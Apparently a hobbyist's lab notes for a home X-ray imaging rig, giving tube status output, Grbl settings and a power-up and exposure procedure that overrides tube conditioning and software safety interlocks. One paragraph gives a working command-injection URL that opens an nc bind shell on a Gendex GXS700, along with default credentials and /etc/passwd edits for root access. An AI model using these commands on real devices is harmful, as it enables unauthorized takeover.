! Hello ROM 038 RAM 185 PS PXS10-WB S/N 12815 Tube KM132 S/N 42039 DCM E S/N 00638 ! TIMESTATS NonOpSecsRemain 0 TotalHours 42639.8 TotalHoursXRAYon 35298.0 ! STATUS Off HV .11 080.0 Beam 00.5 0070 Unsafe Infocus Spot 008 ! Diag2 Anodeleak 17.6
Serial Interface on /dev/ttyS3 with 3840bps 8N1
https://nucwiki.org/wiki/index.php/GXS700_FOSS
https://nucwiki.org/wiki/index.php/Gendex_GXS700
The USB connector is actually Ethernet. d+/d- and gnd/ID are the ethernet lines. If you hook up to that, you can see a autoconf IP address. Access the webinterface and login with admin:password. This URL allows you a bind shell: http://169.254.197.171/cgi-bin/vsp-command-post.cgi?command=`{nc,-l,-p,2222,-e,/bin/sh}`
Run this: mount -o remount,rw /home echo “export VP_SSHD=1” » /home/vsp/settings.sh ## this enables SSH server echo “sed -i 's/N1kSQCwwpFzSs/zjB8fX524dmlk/g' /etc/passwd” » /home/vsp/settings.sh ## this sets the root password to password echo “sed -i 's/xxx_passwd_of_user_vsp_xxx/zjB8fX524dmlk/g' /etc/passwd” » /home/vsp/settings.sh ## this sets the vsp password to password sync mount -o remount,ro /home
This allows you to login as vsp with password password and then becoming root with “su”.
ssh: vsp:password su: root:password
IP: 192.168.179.200
on /dev/ttyACM0
Channels
Channels:
ATmega2560 on /dev/ttyUSB0
https://github.com/gnea/grbl/wiki/Grbl-v1.1-Configuration
http://eleccelerator.com/fusecalc/fusecalc.php?chip=atmega2560
$0=10 $1=254 $2=0 $3=0 $4=0 $5=1 $6=0 $10=1 $11=0.020 $12=0.002 $13=0 $20=0 $21=1 $22=1 $23=0 $24=100.000 $25=500.000 $26=250 $27=5.000 $30=12000 $31=550 $32=0 $100=160.000 $101=160.000 $102=160.000 $103=160.000 $110=600.000 $111=600.000 $112=600.000 $113=600.000 $120=40.000 $121=40.000 $122=40.000 $123=40.000 $130=400.000 $131=400.000 $132=400.000 $133=400.000
Connect to /dev/ttyACM0
Enable Debug Mode
/dev/ttyACM0 : debug 1
Enable Sensor Supply
/dev/ttyACM0 : output 14 1
Enable Tube Supply
/dev/ttyACM0 : output 8 1
Connect to /dev/ttyS3
Check Tube Status
/dev/ttyS3 : status
Check Beam Voltage HV
/dev/ttyS3 : hv setting
Check Beam Current
/dev/ttyS3 : beam setting
Set Software Chamber Interlock
/dev/ttyACM0 : output 13 1
Set Software Power Interlock
/dev/ttyACM0 : output 12 1
Turn Key-Switch to ON
Release Emergency Stop
Release Software E-Stop
/dev/ttyACM0 : output 10 1
Pulse Software Safety Start
/dev/ttyACM0 : output 11 1 /dev/ttyACM0 : output 11 0
Check Tube Status (should be “Safe Infocus”, else wait for warmup to finish)
/dev/ttyS3 : status
Override Tube Conditioning
/dev/ttyS3 : program 10
Start Sensor Capture
cd ~/Code/PaxScan_CP2-Lite_ACQ python3 test.py
Enable XRAYs
/dev/ttyS3 : xray on
Check Tube Status to see when current has ramped up
/dev/ttyS3 : status /dev/ttyS3 : status ...
Trigger Sensor Exposure
Disable XRAYs
/dev/ttyS3 : xray off
Turn off Key-Switch
Turn off safety
/dev/ttyACM0 : output 11 0 /dev/ttyACM0 : output 12 0 /dev/ttyACM0 : output 13 0
Turn off Tube supply
/dev/ttyACM0 : output 8 0
Turn off Sensor supply
/dev/ttyACM0 : output 14 0
Disconnect Serial ports
Shutdown PC